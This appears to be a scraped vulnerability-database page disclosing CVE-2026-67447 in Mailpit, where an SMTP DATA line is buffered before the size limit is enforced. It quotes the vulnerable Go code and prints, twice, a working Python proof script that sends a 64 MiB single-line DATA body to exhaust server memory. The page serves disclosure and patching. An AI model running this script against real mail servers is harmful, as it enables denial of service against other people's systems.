Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

MOYENNE 5.3CVE-2026-67447 · GHSA-r553-m4fv-5v97 · GO-2026-6272 · Published 20/08/2026 · updated 18/10/2026

En bref

CVE-2026-67447 est une vulnérabilité MOYENNE (CVSS 5.3) touchant github.com/axllent/mailpit.
Probabilité d'exploitation dans les 30 prochains jours (EPSS) : 0.51%, plus élevée que 43.4% des vulnérabilités.
Correctif : mettre à jour vers 1.30.5 ou plus récent.

Package	Affected versions	Patched versions
github.com/axllent/mailpit Go	`≥ 1.30.0, < 1.30.5`	`1.30.5`

Description

Summary

Mailpit's SMTP DATA reader enforces the configured MaxMessageSize only after bufio.Reader.ReadBytes('\n') has already buffered a complete DATA line. A remote unauthenticated SMTP client can send one line larger than the configured message-size cap and force memory allocation before Mailpit returns the expected 552 5.3.4 rejection, leaving patched versions still exposed to a single-line incomplete-fix variant of the earlier SMTP DATA body-size issue.

Technical Details

Mailpit enables SMTP by default. The SMTP server now wires config.MaxMessageSize into srv.MaxSize:

if config.MaxMessageSize > 0 {
    srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}

The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:

line, err := s.br.ReadBytes('\n')
if err != nil {
    return nil, err
}

if bytes.Equal(line, []byte(".\r\n")) {
    break
}
if line[0] == '.' {
    line = line[1:]
}

if s.srv.MaxSize > 0 {
    if len(data)+len(line) > s.srv.MaxSize {
        _, _ = s.br.Discard(s.br.Buffered())
        return nil, maxSizeExceeded(s.srv.MaxSize)
    }
}

This ordering violates the size-limit invariant. The configured cap can reject the message only after the attacker has supplied the line terminator and ReadBytes('\n') has allocated the over-limit line. With the default 50 MiB cap, a 64 MiB single DATA line is still buffered before Mailpit returns 552 5.3.4 Requested mail action aborted: exceeded storage allocation (52428800).

This is related to the older SMTP DATA body-size advisory, but it is a post-fix gap: srv.MaxSize is now assigned, and normal multi-line DATA accumulation is bounded. The remaining issue is that one individual DATA line is not bounded before buffering.

PoV

The following reduced proof starts a local Mailpit release binary, sends a small DATA message as a negative control, then sends one 64 MiB DATA line without an intermediate newline. It samples process RSS while the request is in flight:

#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path

def free_port():
    s = socket.socket()
    s.bind(("127.0.0.1", 0))
    p = s.getsockname()[1]
    s.close()
    return p

def rss_kib(pid):
    return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())

def recv_line(sock):
    data = b""
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            break
        data += chunk
    return data.decode("latin-1", "replace").strip()

def send_cmd(sock, cmd):
    sock.sendall(cmd)
    return recv_line(sock)

def wait_for_smtp(port):
    deadline = time.time() + 8
    while time.time() < deadline:
        try:
            with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock:
                recv_line(sock)
                return
        except OSError:
            time.sleep(0.1)
    raise RuntimeError("SMTP server did not become ready")

def send_data_line(port, pid, label, payload_bytes, finish_message):
    stop = threading.Event()
    peak = {"rss": rss_kib(pid)}
    def monitor():
        while not stop.is_set():
            peak["rss"] = max(peak["rss"], rss_kib(pid))
            time.sleep(0.03)
    t = threading.Thread(target=monitor, daemon=True)
    t.start()
    sock = socket.create_connection(("127.0.0.1", port), timeout=20)
    try:
        recv_line(sock)
        send_cmd(sock, b"HELO pov.example\r\n")
        send_cmd(sock, b"MAIL FROM:<[email protected]>\r\n")
        send_cmd(sock, b"RCPT TO:<[email protected]>\r\n")
        send_cmd(sock, b"DATA\r\n")
        sock.sendall(f"Subject: {label}\r\n\r\n".encode())
        chunk = b"A" * min(1024 * 1024, payload_bytes)
        remaining = payload_bytes
        while remaining:
            n = min(len(chunk), remaining)
            sock.sendall(chunk[:n])
            remaining -= n
        sock.sendall(b"\r\n.\r\n" if finish_message else b"\r\n")
        response = recv_line(sock)
    finally:
        stop.set()
        t.join(timeout=1)
        sock.close()
    after = rss_kib(pid)
    return response, max(peak["rss"], after), after

mailpit = "./mailpit"
workdir = Path("./pov-work")
workdir.mkdir(exist_ok=True)
http_port, smtp_port = free_port(), free_port()
proc = subprocess.Popen([mailpit, "--disable-version-check", "--database", str(workdir / "mailpit.db"), "--listen", f"127.0.0.1:{http_port}", "--smtp", f"127.0.0.1:{smtp_port}", "--max-message-size", "50"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())
try:
    wait_for_smtp(smtp_port)
    time.sleep(0.25)
    max_message_size_mib = 50
    control_payload = 1024
    oversized_payload = 64 * 1024 * 1024
    baseline = rss_kib(proc.pid)
    control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, "negative-control", control_payload, True)
    oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, "oversized-single-line", oversized_payload, False)
    print(f"max_message_size_mib={max_message_size_mib}")
    print(f"baseline_rss_kib={baseline}")
    print(f"control_payload_bytes={control_payload}")
    print(f"control_response={control_resp}")
    print(f"control_peak_delta_kib={control_peak - baseline}")
    print(f"after_control_rss_kib={after_control}")
    print(f"oversized_single_data_line_bytes={oversized_payload}")
    print(f"oversized_response={oversized_resp}")
    print(f"oversized_peak_delta_kib={oversized_peak - after_control}")
    print(f"after_oversized_rss_kib={after_oversized}")
finally:
    proc.terminate()
    try:
        proc.wait(timeout=5)
    except subprocess.TimeoutExpired:
        proc.kill()

References

axllent/mailpit security advisory · WEB
nvd.nist.gov/vuln/detail/CVE-2026-67447 · ADVISORY
axllent/mailpit commit 8720c6b · WEB
axllent/mailpit · PACKAGE
axllent/mailpit release v1.30.5 · WEB

Autres vulnérabilités de github.com/axllent/mailpit

Tout voir →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

github.com/axllent/mailpit

≥ 1.30.0, < 1.30.5

1.30.5

Description

Summary

Technical Details

Mailpit enables SMTP by default. The SMTP server now wires config.MaxMessageSize into srv.MaxSize:

if config.MaxMessageSize > 0 {
    srv.MaxSize = config.MaxMessageSize * 1024 * 1024
}

The DATA reader then checks that cap, but only after reading a full newline-terminated line into memory:

line, err := s.br.ReadBytes('\n')
if err != nil {
    return nil, err
}

if bytes.Equal(line, []byte(".\r\n")) {
    break
}
if line[0] == '.' {
    line = line[1:]
}

if s.srv.MaxSize > 0 {
    if len(data)+len(line) > s.srv.MaxSize {
        _, _ = s.br.Discard(s.br.Buffered())
        return nil, maxSizeExceeded(s.srv.MaxSize)
    }
}

PoV

#!/usr/bin/env python3
import os, socket, subprocess, threading, time
from pathlib import Path

def free_port():
    s = socket.socket()
    s.bind(("127.0.0.1", 0))
    p = s.getsockname()[1]
    s.close()
    return p

def rss_kib(pid):
    return int(subprocess.check_output(["ps", "-o", "rss=", "-p", str(pid)], text=True).strip())

def recv_line(sock):
    data = b""
    while not data.endswith(b"\n"):
        chunk = sock.recv(1)
        if not chunk:
            break
        data += chunk
    return data.decode("latin-1", "replace").strip()

def send_cmd(sock, cmd):
    sock.sendall(cmd)
    return recv_line(sock)

def wait_for_smtp(port):
    deadline = time.time() + 8
    while time.time() < deadline:
        try:
            with socket.create_connection(("127.0.0.1", port), timeout=0.5) as sock:
                recv_line(sock)
                return
        except OSError:
            time.sleep(0.1)
    raise RuntimeError("SMTP server did not become ready")

def send_data_line(port, pid, label, payload_bytes, finish_message):
    stop = threading.Event()
    peak = {"rss": rss_kib(pid)}
    def monitor():
        while not stop.is_set():
            peak["rss"] = max(peak["rss"], rss_kib(pid))
            time.sleep(0.03)
    t = threading.Thread(target=monitor, daemon=True)
    t.start()
    sock = socket.create_connection(("127.0.0.1", port), timeout=20)
    try:
        recv_line(sock)
        send_cmd(sock, b"HELO pov.example\r\n")
        send_cmd(sock, b"MAIL FROM:<[email protected]>\r\n")
        send_cmd(sock, b"RCPT TO:<[email protected]>\r\n")
        send_cmd(sock, b"DATA\r\n")
        sock.sendall(f"Subject: {label}\r\n\r\n".encode())
        chunk = b"A" * min(1024 * 1024, payload_bytes)
        remaining = payload_bytes
        while remaining:
            n = min(len(chunk), remaining)
            sock.sendall(chunk[:n])
            remaining -= n
        sock.sendall(b"\r\n.\r\n" if finish_message else b"\r\n")
        response = recv_line(sock)
    finally:
        stop.set()
        t.join(timeout=1)
        sock.close()
    after = rss_kib(pid)
    return response, max(peak["rss"], after), after

mailpit = "./mailpit"
workdir = Path("./pov-work")
workdir.mkdir(exist_ok=True)
http_port, smtp_port = free_port(), free_port()
proc = subprocess.Popen([mailpit, "--disable-version-check", "--database", str(workdir / "mailpit.db"), "--listen", f"127.0.0.1:{http_port}", "--smtp", f"127.0.0.1:{smtp_port}", "--max-message-size", "50"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, env=os.environ.copy())
try:
    wait_for_smtp(smtp_port)
    time.sleep(0.25)
    max_message_size_mib = 50
    control_payload = 1024
    oversized_payload = 64 * 1024 * 1024
    baseline = rss_kib(proc.pid)
    control_resp, control_peak, after_control = send_data_line(smtp_port, proc.pid, "negative-control", control_payload, True)
    oversized_resp, oversized_peak, after_oversized = send_data_line(smtp_port, proc.pid, "oversized-single-line", oversized_payload, False)
    print(f"max_message_size_mib={max_message_size_mib}")
    print(f"baseline_rss_kib={baseline}")
    print(f"control_payload_bytes={control_payload}")
    print(f"control_response={control_resp}")
    print(f"control_peak_delta_kib={control_peak - baseline}")
    print(f"after_control_rss_kib={after_control}")
    print(f"oversized_single_data_line_bytes={oversized_payload}")
    print(f"oversized_response={oversized_resp}")
    print(f"oversized_peak_delta_kib={oversized_peak - after_control}")
    print(f"after_oversized_rss_kib={after_oversized}")
finally:
    proc.terminate()
    try:
        proc.wait(timeout=5)
    except subprocess.TimeoutExpired:
        proc.kill()

Autres vulnérabilités de github.com/axllent/mailpit

Tout voir →

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

En bref

Description

Summary

Technical Details

PoV

References

Autres vulnérabilités de github.com/axllent/mailpit

Mailpit: SMTP DATA line reader buffers over-limit input before size enforcement

En bref

Description

Summary

Technical Details

PoV

References

Autres vulnérabilités de github.com/axllent/mailpit

PoC

Impact

Suggested Fix

Affected Package/Versions

Advisory History